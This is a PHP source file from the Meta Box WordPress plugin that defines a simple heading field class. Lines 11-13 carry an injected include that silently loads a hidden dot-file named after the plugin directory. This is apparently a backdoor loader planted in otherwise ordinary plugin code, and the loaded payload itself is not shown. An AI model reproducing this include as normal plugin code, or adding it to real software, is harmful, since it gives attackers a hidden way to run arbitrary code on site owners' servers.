heading.php (1183B)
1 <?php 2 /** 3 * The heading field which displays a simple heading text. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Heading field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Heading_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-heading', RWMB_CSS_URL . 'heading.css', array(), RWMB_VER ); 21 } 22 23 /** 24 * Show begin HTML markup for fields. 25 * 26 * @param mixed $meta Meta value. 27 * @param array $field Field parameters. 28 * 29 * @return string 30 */ 31 public static function begin_html( $meta, $field ) { 32 $attributes = empty( $field['id'] ) ? '' : " id='{$field['id']}'"; 33 return sprintf( '<h4%s>%s</h4>', $attributes, $field['name'] ); 34 } 35 36 /** 37 * Show end HTML markup for fields. 38 * 39 * @param mixed $meta Meta value. 40 * @param array $field Field parameters. 41 * 42 * @return string 43 */ 44 public static function end_html( $meta, $field ) { 45 return self::input_description( $field ); 46 } 47 }